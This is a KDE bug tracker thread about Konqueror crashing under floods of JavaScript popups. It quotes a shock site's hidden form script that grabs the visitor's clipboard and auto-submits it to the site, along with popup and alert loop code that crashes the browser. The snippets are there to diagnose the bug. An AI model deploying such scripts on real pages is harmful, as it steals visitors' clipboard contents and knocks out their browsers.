Bug 88219 - limit number of javascript popups
Summary: limit number of javascript popups
Status: RESOLVED WORKSFORME
Alias: None
Product: konqueror
Classification: Applications
Component: khtml ecma (show other bugs)
Version: unspecified
Platform: Compiled Sources Linux
: NOR crash
Target Milestone: ---
Assignee: Konqueror Developers
URL:
Keywords:
Depends on:
Blocks:
 
Reported: 2004-08-27 14:46 UTC by tnagy
Modified: 2021-01-02 04:34 UTC (History)
6 users (show)

See Also:
Latest Commit:
Version Fixed In:


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description tnagy 2004-08-27 14:46:43 UTC
Version:            (using KDE KDE 3.3.0)
Installed from:    Compiled From Sources
OS:                Linux

Some javascript code (found on http://doom3.zoy.org) can make konqueror open as many new window as possible, and make kde crash (konqueror javascript settings : allow popups). The tool that checks if programs behave nicely becomes useless.

In addition, when the konqueror javascript settings are : "ask before opening a popup", it becomes impossible to stop the window (yes/no dialogs appear in loops). And then, if in another konqueror instance, the settings are changed to "deny opening new popups", the first konqueror runnning with the malicious script will crash.

I think it would be nice to limit konqueror to opening 20 new popups maximum in all cases :)

The javascript code found on that webpage is the following :

<form name="clip" method="post" action="index.php" style="display:none">
        <input type="text" name="content">
        <input type="hidden" name="send" value="1">
        <input type="hidden" name="refer" value="">
        <input type="hidden" name="user" value="">
        <input type="submit">
        </form>
        <script language="javascript">
        // without this if statement check, it bombs out with an error
        if (typeof clipboardData != 'undefined') {
                var content = clipboardData.getData("Text");
                document.forms["clip"].elements["content"].value = content;
        }
        document.forms["clip"].submit();
</script>
Comment 1 Ron Onstenk 2004-09-29 21:55:46 UTC
This script looks to me as a trap to send the remote site your
clipboard.
I found this link already on another forum and a warning was raised
it contains offensive material and sound.

As told to save the link and look in it, it shows only a ascii 
graphic and this script.
Why the hell should you send your CLIPBOARD to the remote site
on entering the site.

Advise to close this report and remove the link to that site.
I'm afraid the reporter is also 'malicious' else he should mentioned it.
Comment 2 tnagy 2004-09-30 12:36:15 UTC
>> I'm afraid the reporter is also 'malicious' else he should mentioned it. 
I am sorry, i did not understand that there was a clipboard issue with it (the javascript code might have been changed ?). I have reported this bug because it made my kde crash and i think that this is a rather important issue (someone posted this url on irc, but i've seen it on /. too).
Comment 3 Dan Meltzer 2006-08-30 22:01:12 UTC
I can reproduce in both opera and konqueror.

Not really sure what to do here, although I don't see why a site would need to open multiple popups at once legimtately
Comment 4 Eric Kjeldergaard 2006-08-30 23:27:55 UTC
Not sure if this should be wishlist or not, but the site does open as many popups as possible in a seemingly malicious manner.  It's notable that my JS setting for pop-ups is "smart" and in this case I disagree with it ;)
Comment 5 Shinobu Maehara 2007-12-09 11:08:49 UTC
Can someone (an admin?) remove the link from the OP? It is a shock site, and since the code of it might change it is totally useless for our purposes. If the OP is legit, he should have at least made a minimal testcase and posted that, instead of linking to a shock site.
Comment 6 Jaime Torres 2008-07-25 19:57:45 UTC
This will be marked as invalid for several reasons:

* The technical: The behavior described is solved using the javascript settings for opening new windows: smart, do not use allow.
* The javascript described is also malicious and is not related to the bug description.
* To get in a sane way the malicious code use kate or wget.



Comment 7 A. Spehr 2008-08-05 00:04:34 UTC
This is either two or three bugs in one. And policy. So I'm bumping it to developers. 

The clipboard thing mentioned doesn't seem to be there anymore, the below items are. And it does actually kill my system with "smart" on. 

function procreate() {
     for(i = 0; i < 16; i++) {
         popUp("index.php?popup=1");
     }
 }
 
and
 
<html>
 <body>
     <script language="javascript">
         for ( i=0; i < 10; ++i )
             alert(i);
     </script>
 </body>
</html>
Comment 8 A. Spehr 2008-08-06 05:32:56 UTC
(actually, we were never affected by the clipboard bits)
Comment 9 Justin Zobel 2020-12-03 21:41:06 UTC
Thank you for the report.

As it has been a while since this was reported, can you please test and confirm if this issue is still occurring or if this bug report can be marked as resolved.

I have set the bug status to "needsinfo" pending your response, please change back to "reported" or "resolved/worksforme" when you respond, thank you.
Comment 10 Bug Janitor Service 2020-12-18 04:34:36 UTC
Dear Bug Submitter,

This bug has been in NEEDSINFO status with no change for at least
15 days. Please provide the requested information as soon as
possible and set the bug status as REPORTED. Due to regular bug
tracker maintenance, if the bug is still in NEEDSINFO status with
no change in 30 days the bug will be closed as RESOLVED > WORKSFORME
due to lack of needed information.

For more information about our bug triaging procedures please read the
wiki located here:
https://community.kde.org/Guidelines_and_HOWTOs/Bug_triaging

If you have already provided the requested information, please
mark the bug as REPORTED so that the KDE team knows that the bug is
ready to be confirmed.

Thank you for helping us make KDE software even better for everyone!
Comment 11 Bug Janitor Service 2021-01-02 04:34:12 UTC
This bug has been in NEEDSINFO status with no change for at least
30 days. The bug is now closed as RESOLVED > WORKSFORME
due to lack of needed information.

For more information about our bug triaging procedures please read the
wiki located here:
https://community.kde.org/Guidelines_and_HOWTOs/Bug_triaging

Thank you for helping us make KDE software even better for everyone!